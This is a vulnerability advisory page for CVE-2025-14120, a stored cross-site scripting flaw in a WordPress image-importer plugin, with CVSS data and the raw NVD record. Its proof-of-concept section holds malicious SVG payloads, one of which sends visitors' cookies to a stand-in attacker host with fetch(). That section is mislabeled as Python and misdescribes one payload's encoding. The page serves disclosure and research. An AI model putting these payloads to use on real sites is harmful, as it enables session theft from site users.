Security Vulnerability Report
中文
CVE-2025-14120 CVSS 6.4 MEDIUM

CVE-2025-14120

Published: 2026-01-06 05:15:49
Last Modified: 2026-04-15 00:35:42

Description

The URL Image Importer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 1.0.7 due to insufficient sanitization of SVG files. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the SVG file.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

URL Image Importer插件 ≤ 1.0.7(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-14120 PoC: Malicious SVG file for XSS --> <!-- Upload this SVG file through URL Image Importer plugin --> <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"> <script type="text/javascript"> // Steal session cookies and send to attacker server var stolen_data = document.cookie; var attacker_server = "https://attacker.com/steal?data=" + encodeURIComponent(stolen_data); fetch(attacker_server); // Alternative: DOM-based XSS payload document.body.innerHTML = '<h1>XSS Executed</h1><p>Session hijacking possible</p>'; </script> </svg> <!-- Alternative payload using XML entity encoding --> <svg xmlns="http://www.w3.org/2000/svg"> <a href="javascript:alert(document.domain)"> <animate attributeName="href" values="javascript:alert(document.cookie)"/> <text x="0" y="20">Click me</text> </a> </svg>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14120", "sourceIdentifier": "[email protected]", "published": "2026-01-06T05:15:49.430", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The URL Image Importer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 1.0.7 due to insufficient sanitization of SVG files. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the SVG file."}, {"lang": "es", "value": "El plugin URL Image Importer para WordPress es vulnerable a cross-site scripting almacenado a través de cargas de archivos SVG en todas las versiones hasta la 1.0.7, inclusive, debido a una sanitización insuficiente de los archivos SVG. Esto hace posible que atacantes autenticados, con acceso de nivel Autor o superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda al archivo SVG."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/url-image-importer/tags/1.0.7/url-image-importer.php#L176", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/url-image-importer/trunk/url-image-importer.php#L176", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3429292%40url-image-importer&new=3429292%40url-image-importer&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8704320e-9624-4924-92e8-adb61356aecb?source=cve", "source": "[email protected]"}]}}